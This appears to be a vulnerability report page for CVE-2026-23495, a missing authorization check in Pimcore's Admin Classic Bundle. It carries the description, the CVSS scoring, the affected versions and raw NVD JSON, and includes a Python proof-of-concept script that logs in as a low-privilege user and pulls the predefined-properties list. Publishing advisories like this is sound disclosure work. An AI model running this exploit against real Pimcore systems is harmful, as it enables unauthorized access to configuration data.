Security Vulnerability Report
中文
CVE-2026-23495 CVSS 4.3 MEDIUM

CVE-2026-23495

Published: 2026-01-15 17:16:09
Last Modified: 2026-01-30 19:52:00

Description

Pimcore's Admin Classic Bundle provides a Backend UI for Pimcore. Prior to 2.2.3 and 1.7.16, the API endpoint for listing Predefined Properties in the Pimcore platform lacks adequate server-side authorization checks. Predefined Properties are configurable metadata definitions (e.g., name, key, type, default value) used across documents, assets, and objects to standardize custom attributes and improve editorial workflows, as documented in Pimcore's official properties guide. Testing confirmed that an authenticated backend user without explicit permissions for property management could successfully call the endpoint and retrieve the complete list of these configurations. The vulnerability is fixed in 2.2.3 and 1.7.16.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:pimcore:admin_classic_bundle:*:*:*:*:*:pimcore:*:* - VULNERABLE
cpe:2.3:a:pimcore:admin_classic_bundle:*:*:*:*:*:pimcore:*:* - VULNERABLE
Pimcore Admin Classic Bundle < 1.7.16
Pimcore Admin Classic Bundle < 2.2.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2026-23495 PoC - Pimcore Admin Classic Bundle Unauthorized Property Access # Target: Pimcore Admin Classic Bundle < 2.2.3 or < 1.7.16 target_url = "http://target-host.com" login_url = f"{target_url}/admin/login" properties_url = f"{target_url}/admin/predefined-properties/list" # Step 1: Authenticate with valid low-privilege user credentials session = requests.Session() login_data = { "username": "low_privilege_user", "password": "user_password" } # Step 2: Send authentication request auth_response = session.post(login_url, data=login_data) if auth_response.status_code != 200: print("[-] Authentication failed") exit(1) # Step 3: Access the vulnerable predefined properties endpoint # This endpoint lacks proper authorization checks headers = { "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest" } properties_response = session.get(properties_url, headers=headers) if properties_response.status_code == 200: print("[+] Successfully retrieved predefined properties list") print("[-] This indicates the vulnerability is present") print(properties_response.text) else: print(f"[-] Request failed with status code: {properties_response.status_code}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-23495", "sourceIdentifier": "[email protected]", "published": "2026-01-15T17:16:08.597", "lastModified": "2026-01-30T19:51:59.950", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Pimcore's Admin Classic Bundle provides a Backend UI for Pimcore. Prior to 2.2.3 and 1.7.16, the API endpoint for listing Predefined Properties in the Pimcore platform lacks adequate server-side authorization checks. Predefined Properties are configurable metadata definitions (e.g., name, key, type, default value) used across documents, assets, and objects to standardize custom attributes and improve editorial workflows, as documented in Pimcore's official properties guide. Testing confirmed that an authenticated backend user without explicit permissions for property management could successfully call the endpoint and retrieve the complete list of these configurations. The vulnerability is fixed in 2.2.3 and 1.7.16."}, {"lang": "es", "value": "El Admin Classic Bundle de Pimcore proporciona una interfaz de usuario de backend para Pimcore. Antes de las versiones 2.2.3 y 1.7.16, el endpoint de la API para listar Propiedades Predefinidas en la plataforma Pimcore carece de comprobaciones de autorización adecuadas del lado del servidor. Las Propiedades Predefinidas son definiciones de metadatos configurables (por ejemplo, nombre, clave, tipo, valor predeterminado) utilizadas en documentos, activos y objetos para estandarizar atributos personalizados y mejorar los flujos de trabajo editoriales, como se documenta en la guía oficial de propiedades de Pimcore. Las pruebas confirmaron que un usuario de backend autenticado sin permisos explícitos para la gestión de propiedades podría llamar con éxito al endpoint y recuperar la lista completa de estas configuraciones. La vulnerabilidad está corregida en las versiones 2.2.3 y 1.7.16."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pimcore:admin_classic_bundle:*:*:*:*:*:pimcore:*:*", "versionEndExcluding": "1.7.16", "matchCriteriaId": "D848061A-CD4D-4B51-BE21-F28E22D61178"}, {"vulnerable": true, "criteria": "cpe:2.3:a:pimcore:admin_classic_bundle:*:*:*:*:*:pimcore:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "2.2.3", "matchCriteriaId": "2DA216D2-3283-4D95-B6CC-1408A9FD4B54"}]}]}], "references": [{"url": "https://github.com/pimcore/admin-ui-classic-bundle/commit/98095949fbeaf11cdf4cadb2989d7454e1b88909", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/pimcore/admin-ui-classic-bundle/releases/tag/v1.7.16", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/pimcore/admin-ui-classic-bundle/releases/tag/v2.2.3", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/pimcore/pimcore/security/advisories/GHSA-hqrp-m84v-2m2f", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}